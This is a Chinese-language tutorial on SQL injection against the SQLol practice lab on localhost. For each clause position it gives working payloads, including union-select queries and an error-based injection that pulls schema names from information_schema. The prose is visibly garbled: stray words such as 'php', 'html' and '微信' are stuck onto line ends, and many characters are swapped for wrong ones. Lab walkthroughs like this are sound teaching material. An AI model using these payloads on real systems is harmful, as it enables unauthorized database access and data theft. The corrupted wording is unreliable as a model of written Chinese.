SQL注入测试平台 SQLol -2.SELECT注入测试

    前面,咱们已经安装好了SQLol,打开http://localhost/sql/,首先跳转到http://localhost/sql/select.php,咱们先从select模块进行测试。php

 

一条完成Select语句,大体能够这样表示:html

SELECT 【username】 FROM 【users】 WHERE username = 【'1'】 GROUP BY 【username】 ORDER BY 【username ASC】 [having 【1=1】 ][limit 【0,1】 ]

接收的参数可能拼接到上述语句中【】的任一个位置。sql

注射位置不一样,构造sql注入语句的方法也有所不一样,但大体能够划分为三种。数据库

一、联合查询(union select)微信

二、报错注入函数

三、盲注(布尔类型、时间延迟类型)测试

有的注入点能够同时使用多种方法注入,这里只演示一种。orm

下面演示注入到不一样位置的方法。htm

 

1、WHERE 子句里的字符串blog

Tips:字符型注入;

在注射字符串中输入:admin,显示语句,选择注射位置为,WHERE子句里的字符串,返回的信息为:

SELECT username FROM users WHERE username = 'admin' GROUP BY username ORDER BY username ASC 

能够知道咱们输入的admin,被拼接到where子句里面,而后咱们开始构造POC:

admin' union select user()#

以下图,咱们取得数据库用户名(root@localhost),能够将user()替换为其余查询语句查询其余数据。

 

 

2、WHERE 子句里的数字

Tips:与上面的WHERE 子句里的字符串相似,所不一样的,这是数字型注入;

在注射字符串中输入:1,显示语句,选择注射位置为,WHERE子句里的数据,返回的信息为: 

SELECT username FROM users WHERE isadmin = 1  GROUP BY username ORDER BY username ASC 

构造POC:

SELECT username FROM users WHERE isadmin = 1 union select user()# GROUP BY username ORDER BY username ASC 

以下图,咱们取得数据库用户名。

 

3、整个语句

Tips: 直接能够执行任何sql语句

在注射字符串中输入:select * from users,users为数据库用户表,显示语句,选择注射位置为,整条语句,返回的信息为:

select * from users 

能够在这里输入任何的sql语句执行。

 

4、Column 名称

Tips: 注入位置在username

 SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC 

利用方式:

一、输入字段查询users表,或直接用*代替,查询users表中全部的数据

二、注释掉后面的语句,与select直接拼接,例如:注射字符串位置输入version(),拼接成

SELECT version()# FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC 

替换version(),输入其余数据库查询语句,可查询其余数据

 

 

5、Table 名称

 Tips:注射位置在表users

SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC 

利用方式:

一、输入正确的表名,union select查询

 

 

6、ORDER BY 子句

Tips:注射位置在order by  

当使用union操做时,排序语句必须放在最后面才正确,就是说只能在union的最后一个子查询中使用order by,所以这里不能用union slect。

利用方式:

报错注入

1 and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

获得数据库sqlol,能够使用其余语句继续报错注入。 

参考资料:http://www.myhack58.com/Article/html/3/7/2013/38704.htm

 

7、GROUP BY 子句

Tips:注射位置在group by

GROUP BY 语句用于结合合计函数,根据一个或多个列对结果集进行分组。

利用方式:  

一、与order by 同样,直接报错注入

二、在MSSQL中,能够利用group by  , having 进行爆当前列

8、HAVING 子句

Tips:having位置

利用方式:

报错注入

 

最后

欢迎关注我的微信公众号:Bypass--,每周一篇原创高质量的干货。 

 

相关文章
相关标签/搜索